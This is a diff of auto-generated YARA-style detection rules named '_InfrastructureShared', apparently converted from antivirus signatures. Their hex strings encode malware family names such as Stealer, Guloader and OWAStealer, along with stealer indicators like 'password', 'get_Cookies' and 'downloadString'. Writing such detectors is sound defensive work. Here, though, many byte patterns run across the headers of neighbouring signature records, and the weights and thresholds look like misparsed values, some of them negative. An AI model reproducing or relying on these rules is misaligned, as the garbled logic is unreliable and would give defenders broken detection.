3c 80 00 50 8b 18 ff 93 80 00 00 00 83 3d a0 d8 84 00 20 75 90 01 01 81 3d 4c d7 80 00 ff 00 00 00 90 00 00 00 78 88 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 } //362 + $a_2e_3 = {48 43 21 4d 54 42 00 02 00 2c 01 4d 8b fd 4d 2b fc 48 8b c6 49 2b c4 49 3b c7 4c 0f 42 f8 48 8d 85 80 00 00 00 48 83 bd 98 00 00 00 0f 48 0f 47 85 80 00 00 00 4c 03 03 00 29 03 66 89 41 1c c6 41 1e 00 ff 15 90 01 02 00 00 44 8b e8 89 44 24 60 ff 15 90 01 02 00 00 41 2b c5 3d 60 ea 00 00 0f 87 90 00 00 00 78 88 00 00 05 00 05 00 03 00 21 23 } //25964 + $a_3a_4 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 7a 74 61 6b 75 6e 2e 53 57 41 21 4d 54 42 00 02 00 1e 03 26 7e 57 00 00 0a 72 d7 00 00 70 6f 90 01 01 00 00 0a 13 04 11 04 72 4b 01 00 70 17 90 00 02 00 1d 03 7e 57 00 00 } //19521 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*28261+(#a_f4_2 & 1)*362+(#a_2e_3 & 1)*30059+(#a_23_4 & 1)*3) >=4 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*28261+(#a_f4_2 & 1)*362+(#a_2e_3 & 1)*25964+(#a_3a_4 & 1)*19521) >=4 } -rule _InfrastructureShared_9060{ +rule _InfrastructureShared_9622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -97004,19 +103120,30 @@ rule _InfrastructureShared_9060{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_9061{ +rule _InfrastructureShared_9623{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 41 48 43 21 4d 54 42 00 02 00 2c 01 4d 8b fd 4d 2b fc 48 8b c6 49 2b c4 49 3b c7 4c 0f 42 f8 48 8d 85 80 00 00 00 48 83 bd 98 00 00 00 0f 48 0f } //21539 + $a_00_1 = {00 00 4c 03 03 00 29 03 66 89 41 1c c6 41 1e 00 ff 15 90 01 02 00 00 44 8b e8 89 44 24 60 ff 15 90 01 02 00 00 41 2b c5 3d 60 ea 00 00 0f 87 90 00 00 00 78 88 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 7a 74 61 6b 75 6e 2e 53 57 41 21 4d 54 42 00 02 00 1e 03 26 7e 57 00 00 0a 72 d7 00 00 70 6f 90 01 01 00 00 0a 13 04 11 04 72 4b 01 00 70 17 } //-31417 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-31417) >=5 + +} +rule _InfrastructureShared_9624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 7a 74 61 6b 75 6e 2e 53 57 41 21 4d 54 42 00 02 00 1e 03 26 7e 57 00 00 0a 72 d7 00 00 70 6f 90 01 01 00 00 0a 13 04 11 04 72 4b 01 00 70 17 90 00 02 00 1d 03 7e 57 00 00 0a 72 69 01 00 } //16675 $a_01_1 = {01 00 00 0a 13 08 11 08 72 ea 02 00 70 17 90 00 01 00 16 03 00 72 b0 03 00 70 72 51 04 00 70 28 90 01 01 00 00 0a 26 2a 90 00 00 00 78 88 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6c 6c 49 6e 6a 65 63 74 2e 43 57 50 21 4d 54 42 00 02 00 1e 01 08 07 06 1f 20 6f 31 00 00 0a 06 1f 10 6f 31 00 00 0a 6f 32 00 00 0a 17 73 33 00 00 0a 0d 02 00 1b 01 09 02 16 02 8e 69 6f 34 00 00 0a 09 6f 35 00 00 } //28528 - $a_36_2 = {00 0a 13 04 de 1e 01 00 17 01 4f 78 79 67 65 6e 55 5f 50 72 6f 63 65 73 73 65 64 42 79 46 6f 64 79 00 00 78 88 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 57 61 6a 61 6d 2e 61 77 33 38 00 02 00 0c 80 01 77 61 6a 61 6d 5f 36 34 2e 70 64 62 01 00 11 80 01 65 78 63 65 70 74 } //2058 + $a_36_2 = {00 0a 13 04 de 1e 01 00 17 01 4f 78 79 67 65 6e 55 5f 50 72 6f 63 65 73 73 65 64 42 79 46 6f 64 79 00 00 78 88 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4d 50 31 00 01 00 07 80 01 67 65 74 5f 44 65 66 01 00 0f 80 01 67 65 74 5f 53 65 63 } //2058 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28528+(#a_36_2 & 1)*2058) >=5 } -rule _InfrastructureShared_9062{ +rule _InfrastructureShared_9625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -97028,20 +103155,7 @@ rule _InfrastructureShared_9062{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*0+(#a_de_2 & 1)*4874) >=5 } -rule _InfrastructureShared_9063{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " - - strings : - $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 57 61 6a 61 6d 2e 61 77 33 38 00 02 00 0c 80 01 77 61 6a 61 6d 5f 36 34 2e 70 64 62 01 00 11 80 01 65 78 63 65 70 74 69 6f 6e 5f 70 74 72 2e 68 70 70 01 00 0f 80 01 } //16675 - $a_69_1 = {67 5f 70 61 74 68 2e 68 70 70 01 00 1a 80 01 57 61 6a 61 6d 20 57 65 62 20 45 6e 68 61 6e 63 65 72 20 4d 6f 6e 69 74 6f 72 00 00 78 88 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4d 50 31 00 01 00 07 80 01 67 65 74 5f 44 65 66 01 00 0f 80 01 67 65 } //29811 - $a_65_2 = {4f 66 66 65 72 44 65 63 01 00 10 80 01 67 65 74 5f 53 65 63 4f 66 66 65 72 41 70 70 72 01 00 10 80 01 67 65 74 5f 46 72 65 65 50 44 46 53 65 74 75 70 01 00 07 80 01 4a 43 46 2e 65 78 65 00 00 78 88 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 } //24436 - $a_6e_3 = {32 2f 4b 75 61 69 5a 69 70 2e 4d 52 39 21 4d 54 42 00 01 00 0f 80 01 78 69 61 6e 79 61 6e 67 38 38 38 2e 63 6f 6d 01 00 14 80 01 53 4f 46 54 57 41 52 45 5c 4c 65 44 6f 75 5c 75 6e 71 75 65 01 00 07 80 01 54 61 73 6b 42 61 72 01 00 18 80 01 43 72 65 61 74 65 54 6f 6f 6c 68 65 6c 70 33 32 53 6e 61 70 73 68 6f 74 01 } //22330 - condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29811+(#a_65_2 & 1)*24436+(#a_6e_3 & 1)*22330) >=5 - -} -rule _InfrastructureShared_9064{ +rule _InfrastructureShared_9626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -97055,7 +103169,7 @@ rule _InfrastructureShared_9064{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*21343+(#a_6d_2 & 1)*25390+(#a_64_3 & 1)*28493+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_9065{ +rule _InfrastructureShared_9627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -97069,7 +103183,7 @@ rule _InfrastructureShared_9065{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*24916+(#a_4d_2 & 1)*25449+(#a_01_3 & 1)*3584+(#a_74_4 & 1)*25959) >=5 } -rule _InfrastructureShared_9066{ +rule _InfrastructureShared_9628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -97083,7 +103197,7 @@ rule _InfrastructureShared_9066{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*16755+(#a_01_2 & 1)*3328+(#a_00_3 & 1)*66+(#a_75_4 & 1)*385) >=5 } -rule _InfrastructureShared_9067{ +rule _InfrastructureShared_9629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -97097,7 +103211,7 @@ rule _InfrastructureShared_9067{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25970+(#a_54_2 & 1)*30054+(#a_57_3 & 1)*28257+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_9068{ +rule _InfrastructureShared_9630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -97109,21 +103223,35 @@ rule _InfrastructureShared_9068{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28015+(#a_6f_2 & 1)*30023) >=5 } -rule _InfrastructureShared_9069{ +rule _InfrastructureShared_9631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 49 36 32 00 01 00 13 81 01 66 6f 72 76 61 6c 74 65 20 6c 61 6e 67 62 61 6e 69 74 65 01 00 0a 81 01 74 72 69 6e 66 6c 67 65 6e 73 01 00 0c 81 01 74 72 79 6e 65 72 6e 65 2e 65 } //18467 $a_00_1 = {0b } //25976 - $a_6f_2 = {64 42 69 74 6d 61 70 57 01 00 10 81 01 53 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 00 00 78 88 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 4d 31 32 33 21 4d 54 42 00 01 } //385 - $a_01_3 = {75 6e 73 65 78 79 01 00 07 81 01 62 65 6c 61 76 65 74 01 00 0c 81 01 74 61 61 62 65 6e 61 6b 6b 65 6e 73 01 00 0b 81 01 74 72 61 6e 73 64 75 63 65 72 65 01 00 21 81 01 61 6e 67 69 6f 6e 65 6f 70 6c 61 73 6d 20 62 6f 72 74 73 6c 62 74 65 20 74 68 65 75 72 67 69 65 73 00 00 78 88 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 4f 57 41 53 74 65 61 6c 65 72 2e 42 00 01 00 0a 81 01 6c 6f 67 } //1536 - $a_61_4 = {70 78 01 00 08 81 01 75 73 65 72 6e 61 6d 65 01 00 08 81 01 70 61 73 73 77 6f 72 64 01 00 0c 81 01 7a 74 6e 37 4a 62 6e 78 4b 43 51 75 01 } //28271 + $a_6f_2 = {64 42 69 74 6d 61 70 57 01 00 10 81 01 53 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 00 00 78 88 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 55 30 31 21 4d 54 42 00 01 00 0b } //385 + $a_65_3 = {72 6f 66 6c 65 6b 73 65 01 00 17 81 01 73 61 6c 69 6e 69 74 79 20 6d 75 72 69 6e 67 65 72 6e 65 2e 65 78 65 01 00 0a 81 01 72 65 61 6e 61 6c 79 73 65 73 01 00 0c 81 01 65 6b 73 70 61 6e 73 69 6f 6e 65 6e 01 00 0f 81 01 70 61 6c 69 6c 6f 67 65 74 69 63 2e 66 72 75 00 00 78 88 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //385 + $a_61_4 = {65 72 2e 4b 59 54 4d 31 32 33 21 4d 54 42 00 01 00 06 81 01 75 6e 73 65 78 79 01 00 07 81 01 62 65 6c 61 76 65 74 01 00 0c 81 01 74 61 61 62 65 6e 61 6b 6b 65 6e 73 01 00 0b 81 01 74 72 61 6e 73 64 75 63 65 72 65 01 00 21 81 01 61 6e 67 69 6f 6e 65 6f 70 6c 61 73 6d 20 62 6f 72 74 73 6c 62 74 65 20 74 68 65 75 72 67 69 65 73 00 00 } //27765 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25976+(#a_6f_2 & 1)*385+(#a_01_3 & 1)*1536+(#a_61_4 & 1)*28271) >=5 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25976+(#a_6f_2 & 1)*385+(#a_65_3 & 1)*385+(#a_61_4 & 1)*27765) >=5 } -rule _InfrastructureShared_9070{ +rule _InfrastructureShared_9632{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 55 30 31 21 4d 54 42 00 01 00 0b 81 01 72 65 74 72 6f 66 6c 65 6b 73 65 01 00 17 81 01 73 61 6c 69 6e 69 74 79 20 6d 75 72 69 6e 67 65 72 6e 65 2e 65 78 65 01 00 0a 81 01 72 65 61 6e 61 6c 79 73 } //18467 + $a_00_1 = {0c } //29541 + $a_6b_2 = {70 61 6e 73 69 6f 6e 65 6e 01 00 0f 81 01 70 61 6c 69 6c 6f 67 65 74 69 63 2e 66 72 75 00 00 78 88 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 4d 31 32 33 21 4d 54 42 00 01 00 06 81 01 75 6e 73 65 78 79 01 00 07 81 01 62 65 6c 61 76 65 74 01 00 0c } //385 + $a_61_3 = {62 65 6e 61 6b 6b 65 6e 73 01 00 0b 81 01 74 72 61 6e 73 64 75 63 65 72 65 01 00 21 81 01 61 6e 67 69 6f 6e 65 6f 70 6c 61 73 6d 20 62 6f 72 74 73 6c 62 74 65 20 74 68 65 75 72 67 69 65 73 00 00 78 88 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 4f 57 41 53 74 65 61 6c 65 72 2e 42 00 01 00 0a 81 01 6c 6f 67 6f 6e 2e 61 73 70 78 01 00 08 81 01 75 } //385 + $a_6e_4 = {6d 65 01 00 08 81 01 70 61 73 73 77 6f 72 64 01 00 0c 81 01 7a 74 6e 37 4a 62 6e 78 4b 43 51 75 01 00 0c 81 01 42 64 44 76 44 33 50 6e 46 68 38 78 01 00 0c 81 01 43 44 48 35 54 68 63 6d 44 62 56 32 01 00 0b 81 01 67 65 74 5f 43 6f 6f 6b 69 65 73 00 00 78 88 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 } //25971 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_6b_2 & 1)*385+(#a_61_3 & 1)*385+(#a_6e_4 & 1)*25971) >=5 + +} +rule _InfrastructureShared_9633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -97136,7 +103264,7 @@ rule _InfrastructureShared_9070{ ((#a_54_0 & 1)*18467+(#a_67_2 & 1)*24833+(#a_6e_3 & 1)*18999+(#a_39_4 & 1)*18253) >=5 } -rule _InfrastructureShared_9071{ +rule _InfrastructureShared_9634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -97151,7 +103279,7 @@ rule _InfrastructureShared_9071{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28240+(#a_6c_2 & 1)*25940+(#a_54_3 & 1)*21076+(#a_74_5 & 1)*26369+(#a_69_6 & 1)*12800) >=5 } -rule _InfrastructureShared_9072{ +rule _InfrastructureShared_9635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -97166,7 +103294,7 @@ rule _InfrastructureShared_9072{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-32505+(#a_79_2 & 1)*29298+(#a_67_3 & 1)*2048+(#a_65_4 & 1)*21855+(#a_79_5 & 1)*25391) >=6 } -rule _InfrastructureShared_9073{ +rule _InfrastructureShared_9636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -97179,7 +103307,7 @@ rule _InfrastructureShared_9073{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29813+(#a_79_2 & 1)*28530+(#a_54_3 & 1)*28261) >=6 } -rule _InfrastructureShared_9074{ +rule _InfrastructureShared_9637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -97191,7 +103319,7 @@ rule _InfrastructureShared_9074{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24927+(#a_73_2 & 1)*25455) >=7 } -rule _InfrastructureShared_9075{ +rule _InfrastructureShared_9638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -97205,7 +103333,7 @@ rule _InfrastructureShared_9075{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*21876+(#a_00_2 & 1)*25455+(#a_68_3 & 1)*384+(#a_57_4 & 1)*13366) >=7 } -rule _InfrastructureShared_9076{ +rule _InfrastructureShared_9639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -97218,7 +103346,7 @@ rule _InfrastructureShared_9076{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*384+(#a_66_2 & 1)*17518+(#a_88_3 & 1)*0) >=7 } -rule _InfrastructureShared_9077{ +rule _InfrastructureShared_9640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -97232,7 +103360,7 @@ rule _InfrastructureShared_9077{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*24951+(#a_18_2 & 1)*1816+(#a_18_3 & 1)*4127+(#a_00_4 & 1)*28422) >=7 } -rule _InfrastructureShared_9078{ +rule _InfrastructureShared_9641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 02 00 21 " @@ -97243,7 +103371,7 @@ rule _InfrastructureShared_9078{ ((#a_46_0 & 1)*16675+(#a_0c_1 & 1)*6152) >=8 } -rule _InfrastructureShared_9079{ +rule _InfrastructureShared_9642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -97253,7 +103381,17 @@ rule _InfrastructureShared_9079{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_9080{ +rule _InfrastructureShared_9643{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 75 6c 6f 61 64 65 72 2e 5a 59 55 21 4d 54 42 00 0a 00 59 03 17 2d 06 d0 0a 00 00 06 26 72 75 00 00 70 0a 06 28 90 01 01 00 00 06 25 26 0b 28 90 01 01 00 00 06 25 26 07 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_9644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -97263,19 +103401,7 @@ rule _InfrastructureShared_9080{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_9081{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 01 00 1b 01 54 00 65 00 6d 00 70 00 00 13 5c 00 78 00 4c 00 6f 00 6b 00 2e 00 65 00 78 00 65 02 00 14 80 01 72 67 73 74 6a 72 65 70 } //21539 - $a_65_1 = {74 61 74 69 76 65 64 02 00 14 80 01 68 76 79 64 7a 73 70 65 63 69 66 69 63 61 74 69 6f 6e 73 70 05 00 0c 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 00 00 78 88 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 46 21 4d 54 42 00 05 00 1c 03 20 00 01 00 00 14 14 17 8d 90 02 04 25 16 11 00 a2 28 } //25970 - $a_75_2 = {02 04 2a 90 } //656 - condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25970+(#a_75_2 & 1)*656) >=10 - -} -rule _InfrastructureShared_9082{ +rule _InfrastructureShared_9645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -97288,7 +103414,7 @@ rule _InfrastructureShared_9082{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*21249+(#a_09_3 & 1)*-10729+(#a_74_4 & 1)*384) >=10 } -rule _InfrastructureShared_9083{ +rule _InfrastructureShared_9646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -97299,7 +103425,7 @@ rule _InfrastructureShared_9083{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*-32732) >=12 } -rule _InfrastructureShared_9084{ +rule _InfrastructureShared_9647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -97311,7 +103437,7 @@ rule _InfrastructureShared_9084{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*27022+(#a_02_2 & 1)*-29415) >=12 } -rule _InfrastructureShared_9085{ +rule _InfrastructureShared_9648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -97323,7 +103449,7 @@ rule _InfrastructureShared_9085{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*4357+(#a_11_2 & 1)*4868) >=12 } -rule _InfrastructureShared_9086{ +rule _InfrastructureShared_9649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -97334,35 +103460,46 @@ rule _InfrastructureShared_9086{ ((#a_46_0 & 1)*16675+(#a_a2_1 & 1)*656) >=14 } -rule _InfrastructureShared_9087{ +rule _InfrastructureShared_9650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 58 50 21 4d 54 42 00 0a 00 20 03 02 13 20 11 20 1f 61 3f 90 02 04 11 20 1f 7a fe 02 16 fe 01 38 90 02 04 16 13 61 11 61 39 90 00 02 00 0d 80 01 42 61 73 65 33 32 54 6f } //16675 $a_65_1 = {02 00 07 80 01 52 65 70 6c 61 63 65 02 00 09 80 01 54 72 61 6e 73 66 6f 72 6d 02 00 0a 80 01 43 61 6c 6c 42 79 4e 61 6d 65 00 00 78 88 00 00 14 00 14 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 5f 45 78 63 65 6c 64 6e 61 00 05 00 14 80 01 65 78 63 65 6c 64 6e 61 2e 69 6e 74 65 67 72 61 74 69 6f 6e 05 00 14 80 01 66 69 78 65 64 68 6f 73 74 2e 6d 6f } //31042 - $a_61_2 = {69 6f 6e 05 00 0c 80 01 64 6f 77 6e 6c 6f 61 64 64 61 74 61 05 00 10 80 01 66 72 6f 6d 62 61 73 65 36 34 73 74 72 69 6e 67 05 00 0e 80 01 64 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 88 00 00 65 00 65 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 56 4d 00 64 } //30052 - $a_25_3 = {00 f0 ff } //3328 - $a_01_4 = {0f 31 90 00 01 00 0a 00 63 64 6f 73 79 73 2e 64 6c 6c 01 00 0b 00 63 65 72 74 63 6c 69 2e 64 6c 6c 01 00 0a 00 63 65 77 6d 64 6d 2e 64 6c 6c 01 00 07 00 63 69 63 2e 64 6c 6c 01 00 07 00 63 6c 62 63 61 74 71 01 00 07 00 63 61 62 76 69 65 77 } //2704 + $a_61_2 = {69 6f 6e 05 00 0c 80 01 64 6f 77 6e 6c 6f 61 64 64 61 74 61 05 00 10 80 01 66 72 6f 6d 62 61 73 65 36 34 73 74 72 69 6e 67 05 00 0e 80 01 64 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 88 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 43 21 4d 54 42 00 0f 00 2d 03 } //30052 + $a_33_3 = {24 70 69 c0 95 e9 d1 5b 89 c1 c1 e9 0f } //-5951 + $a_4c_4 = {60 8b 05 90 01 04 8d 48 ff 0f af c8 f6 c1 01 b8 0c f8 bd 86 90 00 0a 00 2b 03 48 8b 44 24 40 0f be 00 33 44 24 6c 69 c0 95 e9 d1 5b 33 44 24 64 89 44 24 5c 8b 05 90 01 04 8d 48 ff 0f af c8 f6 c1 01 b8 90 00 00 00 78 88 00 00 65 00 65 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 56 4d 00 64 00 0d 03 25 00 00 f0 ff 90 0a 50 01 0f 31 90 00 01 00 0a 00 } //-16079 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*31042+(#a_61_2 & 1)*30052+(#a_25_3 & 1)*3328+(#a_01_4 & 1)*2704) >=18 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*31042+(#a_61_2 & 1)*30052+(#a_33_3 & 1)*-5951+(#a_4c_4 & 1)*-16079) >=18 } -rule _InfrastructureShared_9088{ +rule _InfrastructureShared_9651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 05 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 5f 45 78 63 65 6c 64 6e 61 00 05 00 14 80 01 65 78 63 65 6c 64 6e 61 2e 69 6e 74 65 67 72 61 74 69 6f 6e 05 00 14 80 01 66 69 78 65 64 68 6f 73 74 2e 6d 6f 64 75 6c 61 74 69 6f 6e 05 00 0c 80 01 64 6f 77 6e 6c 6f 61 64 64 61 74 61 05 } //18467 - $a_01_1 = {66 72 6f 6d 62 61 73 65 36 34 73 74 72 69 6e 67 05 00 0e 80 01 64 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 88 00 00 65 00 65 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 56 4d 00 64 00 0d 03 25 00 00 f0 ff 90 0a 50 01 0f 31 90 00 01 00 0a 00 63 64 6f 73 79 73 2e 64 6c 6c 01 00 0b 00 63 65 72 74 63 6c 69 2e 64 6c 6c } //4096 - $a_00_2 = {63 65 77 6d 64 6d 2e 64 6c 6c } //1 cewmdm.dll - $a_00_3 = {63 69 63 2e 64 6c 6c } //1 cic.dll - $a_00_4 = {63 6c 62 63 61 74 71 } //1 clbcatq + $a_01_1 = {66 72 6f 6d 62 61 73 65 36 34 73 74 72 69 6e 67 05 00 0e 80 01 64 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 00 78 88 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 43 21 4d 54 42 00 0f 00 2d 03 c1 e8 0d 33 44 24 70 69 c0 95 e9 d1 5b 89 c1 c1 e9 0f 31 c1 89 4c 24 60 8b 05 ?? ?? ?? ?? 8d 48 ff 0f af c8 f6 c1 01 b8 0c f8 bd 86 } //4096 + $a_03_2 = {48 8b 44 24 40 0f be 00 33 44 24 6c 69 c0 95 e9 d1 5b 33 44 24 64 89 44 24 5c 8b 05 ?? ?? ?? ?? 8d 48 ff 0f af c8 f6 c1 01 b8 } //10 + $a_88_3 = {00 65 00 65 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 56 4d 00 64 00 0d 03 25 00 00 f0 ff 90 0a 50 01 0f 31 90 00 01 00 0a 00 63 64 6f 73 79 73 2e 64 6c 6c 01 00 0b 00 63 65 72 74 63 6c 69 2e 64 6c 6c 01 00 0a 00 63 65 77 